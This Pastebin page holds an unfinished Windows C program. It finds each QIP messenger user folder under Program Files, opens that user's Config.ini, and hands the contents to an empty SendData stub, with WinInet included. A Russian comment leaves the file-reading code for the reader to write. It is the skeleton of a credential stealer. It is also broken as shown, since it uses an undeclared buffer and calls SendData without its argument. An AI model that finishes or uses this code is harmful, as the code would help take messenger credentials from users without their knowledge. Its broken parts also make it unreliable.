Guest User

Untitled

a guest
Jan 22nd, 2018
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.25 KB | None | 0 0
  1. #undef UNICODE
  2. #include <Windows.h>
  3. #include <WinInet.h>
  4. #include <stdio.h>
  5.  
  6. void SendData(char* Buf)
  7. {
  8.  
  9. }
  10.  
  11. void ProgressFile(char* FileName, char* DirName)
  12. {
  13.     FILE*   f;
  14.     char    result[4096];
  15.  
  16.     f = fopen(FileName, "r");
  17.     if (!f)
  18.     {
  19.         return;
  20.     }
  21.  
  22.     sprintf(result, "%s:", DirName);
  23.  
  24.     while (!feof(f))
  25.     {
  26.         fgets(buf, sizeof(buf), f);
  27.  
  28.         далее твой код считывания файла
  29.     }
  30.  
  31.     SendData();
  32.  
  33.     fclose(f);
  34. }
  35.  
  36. int WINAPI WinMain(HINSTANCE hInstance,
  37.                    HINSTANCE hPrevInstance,
  38.                    LPSTR lpCmdLine,
  39.                    int CmdShow)
  40. {
  41.     char    ProgramFiles[MAX_PATH];
  42.     char    Path[MAX_PATH];
  43.     DWORD   Status;
  44.     HANDLE  hFile;
  45.     WIN32_FIND_DATA fdata;
  46.    
  47.  
  48.     Status = ExpandEnvironmentStrings("%ProgramFiles%", ProgramFiles, sizeof(ProgramFiles));
  49.     if (Status == 0 || Status > MAX_PATH)
  50.     {
  51.         return 0;
  52.     }
  53.  
  54.     sprintf(Path, "%s\\QIP\\Users\\*.*", ProgramFiles);
  55.  
  56.     hFile = FindFirstFile(Path, &fdata);
  57.     if (hFile == INVALID_HANDLE_VALUE)
  58.     {
  59.         return 0;
  60.     }
  61.  
  62.    
  63.     do
  64.     {
  65.         if (!strchr(fdata.cFileName, '.'))
  66.         {
  67.             sprintf(Path, "%s\\QIP\\Users\\%s\\Config.ini", ProgramFiles, fdata.cFileName);
  68.  
  69.             ProgressFile(Path, fdata.cFileName);
  70.         }
  71.  
  72.     } while(FindNextFile(hFile, &fdata));
  73.    
  74.     FindClose(hFile);
  75.  
  76.     return 0;
  77. }
Add Comment
Please, Sign In to add comment